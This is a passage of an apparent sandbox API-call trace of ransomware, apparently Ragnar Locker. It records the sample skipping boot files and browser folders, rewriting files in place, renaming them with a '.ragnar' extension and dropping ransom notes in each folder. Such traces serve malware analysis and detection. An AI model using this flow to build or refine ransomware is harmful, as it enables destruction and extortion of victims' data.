lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0067.965] lstrcpyW (in: lpString1=0x1eab6c, lpString2="STINTL.DLL.IDX_DLL" | out: lpString1="STINTL.DLL.IDX_DLL") returned="STINTL.DLL.IDX_DLL" [0067.965] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned=".IDX_DLL" [0067.965] lstrcmpiW (lpString1="STINTL.DLL.IDX_DLL", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0067.965] lstrcmpiW (lpString1="STINTL.DLL.IDX_DLL", lpString2="autorun.inf") returned 1 [0067.965] lstrcmpiW (lpString1="STINTL.DLL.IDX_DLL", lpString2="boot.ini") returned 1 [0067.965] lstrcmpiW (lpString1="STINTL.DLL.IDX_DLL", lpString2="bootfont.bin") returned 1 [0067.965] lstrcmpiW (lpString1="STINTL.DLL.IDX_DLL", lpString2="bootsect.bak") returned 1 [0067.965] lstrcmpiW (lpString1="STINTL.DLL.IDX_DLL", lpString2="bootmgr") returned 1 [0067.965] lstrcmpiW (lpString1="STINTL.DLL.IDX_DLL", lpString2="bootmgr.efi") returned 1 [0067.965] lstrcmpiW (lpString1="STINTL.DLL.IDX_DLL", lpString2="bootmgfw.efi") returned 1 [0067.965] lstrcmpiW (lpString1="STINTL.DLL.IDX_DLL", lpString2="desktop.ini") returned 1 [0067.965] lstrcmpiW (lpString1="STINTL.DLL.IDX_DLL", lpString2="iconcache.db") returned 1 [0067.965] lstrcmpiW (lpString1="STINTL.DLL.IDX_DLL", lpString2="ntldr") returned 1 [0067.965] lstrcmpiW (lpString1="STINTL.DLL.IDX_DLL", lpString2="ntuser.dat") returned 1 [0067.965] lstrcmpiW (lpString1="STINTL.DLL.IDX_DLL", lpString2="ntuser.dat.log") returned 1 [0067.965] lstrcmpiW (lpString1="STINTL.DLL.IDX_DLL", lpString2="ntuser.ini") returned 1 [0067.965] lstrcmpiW (lpString1="STINTL.DLL.IDX_DLL", lpString2="thumbs.db") returned -1 [0067.965] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".db") returned 1 [0067.965] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".sys") returned -1 [0067.965] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".dll") returned 1 [0067.965] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".lnk") returned -1 [0067.965] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".msi") returned -1 [0067.965] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".drv") returned 1 [0067.965] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".exe") returned 1 [0067.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll")) returned 0x20 [0067.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0067.966] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=13696) returned 1 [0067.966] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x3577, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.966] GetProcessHeap () returned 0x580000 [0067.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0067.966] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0067.968] VirtualAlloc (lpAddress=0x0, dwSize=0x3580, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0067.968] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.968] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0067.968] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3580, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x3580, lpOverlapped=0x0) returned 1 [0067.974] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0067.974] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3580, nNumberOfBytesToLockHigh=0x0) returned 1 [0067.974] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3580, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x3580, lpOverlapped=0x0) returned 1 [0067.974] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3580, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0067.974] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.974] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x3580, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.974] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0067.974] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0067.974] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0067.975] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0067.975] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0067.975] GetProcessHeap () returned 0x580000 [0067.975] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0067.975] CloseHandle (hObject=0x100) returned 1 [0067.976] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" [0067.976] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL.ragnar_FD7BD9FC" [0067.976] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0067.988] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 0 [0067.988] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0067.988] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0067.988] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2=".") returned 1 [0067.988] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="..") returned 1 [0067.988] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1 [0067.988] lstrcmpiW (lpString1="FDATE.DLL", lpString2=".") returned 1 [0067.988] lstrcmpiW (lpString1="FDATE.DLL", lpString2="..") returned 1 [0067.988] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x35380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPERSON.DLL", cAlternateFileName="")) returned 1 [0067.988] lstrcmpiW (lpString1="FPERSON.DLL", lpString2=".") returned 1 [0067.988] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="..") returned 1 [0067.988] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f78700, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xc251c2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f78700, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x2c380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPLACE.DLL", cAlternateFileName="")) returned 1 [0067.988] lstrcmpiW (lpString1="FPLACE.DLL", lpString2=".") returned 1 [0067.988] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="..") returned 1 [0067.988] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79275700, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79275700, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x26d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FSTOCK.DLL", cAlternateFileName="")) returned 1 [0067.988] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2=".") returned 1 [0067.988] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="..") returned 1 [0067.988] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x39580, dwReserved0=0x0, dwReserved1=0x0, cFileName="IETAG.DLL", cAlternateFileName="")) returned 1 [0067.988] lstrcmpiW (lpString1="IETAG.DLL", lpString2=".") returned 1 [0067.988] lstrcmpiW (lpString1="IETAG.DLL", lpString2="..") returned 1 [0067.988] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x18b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCONTACT.DLL", cAlternateFileName="IMCONT~1.DLL")) returned 1 [0067.988] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2=".") returned 1 [0067.988] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="..") returned 1 [0067.988] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LISTS", cAlternateFileName="")) returned 1 [0067.988] lstrcmpiW (lpString1="LISTS", lpString2=".") returned 1 [0067.988] lstrcmpiW (lpString1="LISTS", lpString2="..") returned 1 [0067.988] lstrcmpiW (lpString1="LISTS", lpString2="Windows") returned -1 [0067.988] lstrcmpiW (lpString1="LISTS", lpString2="Windows.old") returned -1 [0067.988] lstrcmpiW (lpString1="LISTS", lpString2="Tor browser") returned -1 [0067.988] lstrcmpiW (lpString1="LISTS", lpString2="Internet Explorer") returned 1 [0067.988] lstrcmpiW (lpString1="LISTS", lpString2="Google") returned 1 [0067.989] lstrcmpiW (lpString1="LISTS", lpString2="Opera") returned -1 [0067.989] lstrcmpiW (lpString1="LISTS", lpString2="Opera Software") returned -1 [0067.989] lstrcmpiW (lpString1="LISTS", lpString2="Mozilla") returned -1 [0067.989] lstrcmpiW (lpString1="LISTS", lpString2="Mozilla Firefox") returned -1 [0067.989] lstrcmpiW (lpString1="LISTS", lpString2="$Recycle.Bin") returned 1 [0067.989] lstrcmpiW (lpString1="LISTS", lpString2="ProgramData") returned -1 [0067.989] lstrcmpiW (lpString1="LISTS", lpString2="All Users") returned 1 [0067.989] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x40 [0067.989] lstrcpyW (in: lpString1=0x1eb63a, lpString2="LISTS" | out: lpString1="LISTS") returned="LISTS" [0067.989] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\" [0067.989] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\" [0067.989] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\RGNR_FD7BD9FC.txt" [0067.989] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0067.996] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*.*" [0067.996] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0067.996] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0067.996] lstrcpyW (in: lpString1=0x1ea75a, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0067.996] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7ac627e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ac627e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0067.996] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0067.996] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7ac627e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ac627e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.996] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0067.996] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0067.996] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0067.996] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0067.996] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0067.996] lstrcmpiW (lpString1="1033", lpString2="Windows") returned -1 [0067.996] lstrcmpiW (lpString1="1033", lpString2="Windows.old") returned -1 [0067.996] lstrcmpiW (lpString1="1033", lpString2="Tor browser") returned -1 [0067.996] lstrcmpiW (lpString1="1033", lpString2="Internet Explorer") returned -1 [0067.996] lstrcmpiW (lpString1="1033", lpString2="Google") returned -1 [0067.996] lstrcmpiW (lpString1="1033", lpString2="Opera") returned -1 [0067.996] lstrcmpiW (lpString1="1033", lpString2="Opera Software") returned -1 [0067.996] lstrcmpiW (lpString1="1033", lpString2="Mozilla") returned -1 [0067.996] lstrcmpiW (lpString1="1033", lpString2="Mozilla Firefox") returned -1 [0067.996] lstrcmpiW (lpString1="1033", lpString2="$Recycle.Bin") returned 1 [0067.996] lstrcmpiW (lpString1="1033", lpString2="ProgramData") returned -1 [0067.997] lstrcmpiW (lpString1="1033", lpString2="All Users") returned -1 [0067.997] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0067.997] lstrcpyW (in: lpString1=0x1eab6e, lpString2="1033" | out: lpString1="1033") returned="1033" [0067.997] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\" [0067.997] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\" [0067.997] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\RGNR_FD7BD9FC.txt" [0067.997] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0068.352] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*" [0068.352] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4b [0068.352] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0068.352] lstrcpyW (in: lpString1=0x1e9c8c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0068.352] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7ac88940, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ac88940, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0068.352] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0068.352] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7ac88940, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ac88940, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.352] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0068.352] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0068.352] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATES.XML", cAlternateFileName="")) returned 1 [0068.353] lstrcmpiW (lpString1="DATES.XML", lpString2=".") returned 1 [0068.353] lstrcmpiW (lpString1="DATES.XML", lpString2="..") returned 1 [0068.353] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, 